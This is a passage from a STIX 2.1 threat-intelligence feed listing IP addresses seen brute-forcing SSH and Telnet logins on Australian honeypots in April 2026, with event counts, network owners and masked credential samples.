      "pattern": "[ipv4-addr:value = '2.26.54.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T23:15:04.000Z",
      "valid_until": "2026-05-19T23:15:02.000Z"
    },
    {
      "created": "2026-04-17T23:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 267. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 139989. Organisation(s): CV Atha Media Prima. Usernames observed (masked): r**t, u****u, 3**********4, a*****r, d****y. Passwords observed (masked): 3***********4, 3**********4, *, 1****7, A******9.",
      "id": "indicator--168e7c14-45e6-4c0f-87f6-1612ea26a82a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T23:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '41.216.177.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T23:15:04.000Z",
      "valid_until": "2026-05-19T23:15:02.000Z"
    },
    {
      "created": "2026-04-17T23:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28146. Organisation(s): MHNET TELECOM.",
      "id": "indicator--b0131b83-a0b0-46a7-82e7-be5d2f49ac06",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T23:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.227.194.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T23:15:04.000Z",
      "valid_until": "2026-05-19T23:15:02.000Z"
    },
    {
      "created": "2026-04-18T00:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): s*****r, t*****p, u****u. Passwords observed (masked): c******3, s*****r, t*****3.",
      "id": "indicator--89251ded-9dc1-4284-bc5f-d03212ca3532",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T00:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '118.196.64.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T00:15:08.000Z",
      "valid_until": "2026-05-20T00:15:02.000Z"
    },
    {
      "created": "2026-04-18T00:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 290. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 55688. Organisation(s): PT. Beon Intermedia. Usernames observed (masked): r**t, 3**********4, c****e, u****u, ***. Passwords observed (masked): 1*******9, 3***********4, 3**********4, 1*********v, 1*******d.",
      "id": "indicator--e37f115d-0a56-447d-a2d7-8485d85ed248",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T00:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '157.66.34.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T00:15:08.000Z",
      "valid_until": "2026-05-20T00:15:02.000Z"
    },
    {
      "created": "2026-04-18T00:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1044. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: LU. ASN(s): 214472. Organisation(s): Offshore LC. Usernames observed (masked): r**t, d****y, t**t, u***1, f****e. Passwords observed (masked): 1****6, ***, *, p******d, 1******8.",
      "id": "indicator--89a3e415-e816-47f7-a805-5b5c1a876468",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T00:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T00:15:08.000Z",
      "valid_until": "2026-05-20T00:15:02.000Z"
    },
    {
      "created": "2026-04-18T00:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 362. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GT. ASN(s): 14754. Organisation(s): TELECOMUNICACIONES DE GUATEMALA, SOCIEDAD ANONIMA. Usernames observed (masked): r**t, 3**********4, u****u, p*******r, ***. Passwords observed (masked): 3***********4, 3**********4, ***, t*****3, !******r.",
      "id": "indicator--6741f2de-ca28-4e57-8089-f5d0928e78cb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T00:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '190.148.112.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T00:15:08.000Z",
      "valid_until": "2026-05-20T00:15:02.000Z"
    },
    {
      "created": "2026-04-18T00:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--78deb603-9828-4483-8e62-dffe3b1cc263",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T00:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T00:15:08.000Z",
      "valid_until": "2026-05-20T00:15:02.000Z"
    },
    {
      "created": "2026-04-18T00:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--03f21a3d-936b-4e53-b76b-fef080fa4d43",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T00:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T00:15:08.000Z",
      "valid_until": "2026-05-20T00:15:02.000Z"
    },
    {
      "created": "2026-04-18T00:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--57b554cc-c9ef-40ff-a77f-d0a066143741",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T00:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T00:15:08.000Z",
      "valid_until": "2026-05-20T00:15:02.000Z"
    },
    {
      "created": "2026-04-18T00:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--6e168316-2bed-49cb-8016-2ad5ecba3c81",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T00:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T00:15:08.000Z",
      "valid_until": "2026-05-20T00:15:02.000Z"
    },
    {
      "created": "2026-04-18T01:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--d7b16cee-8377-4fe0-b736-68952844d7b2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T01:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '13.218.68.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T01:15:04.000Z",
      "valid_until": "2026-05-20T01:15:02.000Z"
    },
    {
      "created": "2026-04-18T01:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 701. Organisation(s): Verizon Business.",
      "id": "indicator--7401a83c-7aa8-4f66-b4f3-e418029c1486",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T01:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '96.246.84.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T01:15:04.000Z",
      "valid_until": "2026-05-20T01:15:02.000Z"
    },
    {
      "created": "2026-04-18T02:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 221. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 23470. Organisation(s): ReliableSite.Net LLC. Usernames observed (masked): r**t, f******o, s***m, t**t, 3**********4. Passwords observed (masked): 1****6, !******2, 1****4, 1******x, 2**6.",
      "id": "indicator--941c20f5-0e84-41bd-827a-3242a4ad737b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T02:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.195.103.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T02:15:12.000Z",
      "valid_until": "2026-05-20T02:15:02.000Z"
    },
    {
      "created": "2026-04-18T02:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--b6cad070-d43e-49a5-b615-646c2bdc79aa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T02:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T02:15:12.000Z",
      "valid_until": "2026-05-20T02:15:02.000Z"
    },
    {
      "created": "2026-04-18T02:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 143. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MY. ASN(s): 18206. Organisation(s): TM TECHNOLOGY SERVICES SDN. BHD.. Usernames observed (masked): r**t, f******o, s***m, t**t, k*****t. Passwords observed (masked): 1****6, 1****4, 3***********4, A**************#, P******3.",
      "id": "indicator--9a565a3f-6fc0-4e2c-a45a-e77fc5af323a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T02:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '202.165.22.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T02:15:12.000Z",
      "valid_until": "2026-05-20T02:15:02.000Z"
    },
    {
      "created": "2026-04-18T03:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GR. ASN(s): 6799. Organisation(s): OTEnet S.A..",
      "id": "indicator--61d379fd-d122-4736-a5b9-a436c41c191b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T03:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '94.70.136.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T03:15:04.000Z",
      "valid_until": "2026-05-20T03:15:02.000Z"
    },
    {
      "created": "2026-04-18T04:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--bb3e8f04-79d2-4d5e-bc90-0003228e4830",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T04:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '161.35.197.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T04:15:04.000Z",
      "valid_until": "2026-05-20T04:15:02.000Z"
    },
    {
      "created": "2026-04-18T04:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t. Passwords observed (masked): 1****6.",
      "id": "indicator--640c0b59-0c1f-4401-a01f-0d49553c6065",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T04:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '23.97.62.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T04:15:04.000Z",
      "valid_until": "2026-05-20T04:15:02.000Z"
    },
    {
      "created": "2026-04-18T04:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--904f1cea-343f-4168-9556-3831a3fedf61",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T04:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '46.101.146.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T04:15:04.000Z",
      "valid_until": "2026-05-20T04:15:02.000Z"
    },
    {
      "created": "2026-04-18T04:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 211298. Organisation(s): Driftnet Ltd.",
      "id": "indicator--70af2251-9d2b-4721-97a5-d86fcda4eaee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T04:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '87.236.176.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T04:15:04.000Z",
      "valid_until": "2026-05-20T04:15:02.000Z"
    },
    {
      "created": "2026-04-18T05:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--eb003749-d1fb-401f-82d0-35948b901e22",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T05:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T05:15:03.000Z",
      "valid_until": "2026-05-20T05:15:01.000Z"
    },
    {
      "created": "2026-04-18T05:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 3786. Organisation(s): LG DACOM Corporation.",
      "id": "indicator--4233b3f7-9c71-4b0a-a507-a49bbb5d6797",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T05:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '58.72.124.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T05:15:03.000Z",
      "valid_until": "2026-05-20T05:15:01.000Z"
    },
    {
      "created": "2026-04-18T06:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 18318. Organisation(s): LG HelloVision Corp..",
      "id": "indicator--f5b78bb3-0931-4720-b2b4-13e2581a5856",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T06:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '122.252.126.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T06:15:03.000Z",
      "valid_until": "2026-05-20T06:15:01.000Z"
    },
    {
      "created": "2026-04-18T06:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--75e6cf35-c069-4b61-a796-95c927f4fd7d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T06:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '20.65.202.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T06:15:03.000Z",
      "valid_until": "2026-05-20T06:15:01.000Z"
    },
    {
      "created": "2026-04-18T06:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 3786. Organisation(s): LG DACOM Corporation.",
      "id": "indicator--a39042a3-5a7a-4923-b44a-337f0f47bd84",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T06:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '211.53.113.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T06:15:03.000Z",
      "valid_until": "2026-05-20T06:15:01.000Z"
    },
    {
      "created": "2026-04-18T06:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--ee2afad1-1a9f-439e-889a-a63643349aaf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T06:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '222.139.65.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T06:15:03.000Z",
      "valid_until": "2026-05-20T06:15:01.000Z"
    },
    {
      "created": "2026-04-18T06:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 49870. Organisation(s): Alsycon B.V..",
      "id": "indicator--5c662325-31bd-47df-8c3e-80d17b2bc8b8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T06:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '89.190.156.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T06:15:03.000Z",
      "valid_until": "2026-05-20T06:15:01.000Z"
    },
    {
      "created": "2026-04-18T07:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--f62e360a-17ff-4eef-b89d-acbb52c8c20c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T07:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T07:15:04.000Z",
      "valid_until": "2026-05-20T07:15:01.000Z"
    },
    {
      "created": "2026-04-18T07:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Heralding. Target ports: 5900. Source country: US. ASN(s): 11878. Organisation(s): tzulo, inc.. Passwords observed (masked): 1****1, ***, 1**4, 1***5, 1****6.",
      "id": "indicator--fe89eb11-4d23-403c-8fa4-0850e410728d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T07:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '23.234.96.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T07:15:04.000Z",
      "valid_until": "2026-05-20T07:15:01.000Z"
    },
    {
      "created": "2026-04-18T08:16:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14987. Organisation(s): Rethem Hosting LLC.",
      "id": "indicator--f9c4c21e-2b2b-4f21-aa85-e734a1c82232",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T08:16:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T08:16:13.000Z",
      "valid_until": "2026-05-20T08:15:01.000Z"
    },
    {
      "created": "2026-04-18T08:16:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14987. Organisation(s): Rethem Hosting LLC.",
      "id": "indicator--ef130b56-9060-487c-b4dc-4a7a6bd6e568",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T08:16:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T08:16:13.000Z",
      "valid_until": "2026-05-20T08:15:01.000Z"
    },
    {
      "created": "2026-04-18T08:16:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 57378. Organisation(s): JSC ER-Telecom Holding.",
      "id": "indicator--918816eb-1240-4285-acc7-e4be659688f0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T08:16:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '46.147.242.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T08:16:13.000Z",
      "valid_until": "2026-05-20T08:15:01.000Z"
    },
    {
      "created": "2026-04-18T08:16:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 10439. Organisation(s): CariNet, Inc..",
      "id": "indicator--83cf0401-2069-4004-b084-764a3e58a429",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T08:16:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '71.6.134.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T08:16:13.000Z",
      "valid_until": "2026-05-20T08:15:01.000Z"
    },
    {
      "created": "2026-04-18T09:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--9d2c1146-5410-4b02-b378-7052d135ece3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T09:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '193.32.162.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T09:15:21.000Z",
      "valid_until": "2026-05-20T09:15:08.000Z"
    },
    {
      "created": "2026-04-18T09:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--99a77ee7-c556-4bff-8568-98b70ad3c2e3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T09:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '57.151.105.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T09:15:21.000Z",
      "valid_until": "2026-05-20T09:15:08.000Z"
    },
    {
      "created": "2026-04-18T10:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 14593. Organisation(s): Space Exploration Technologies Corporation.",
      "id": "indicator--576bf3e3-bf5d-41b0-a010-f1cef7be301f",
      "labels": [
        "bruteforce"
      ],
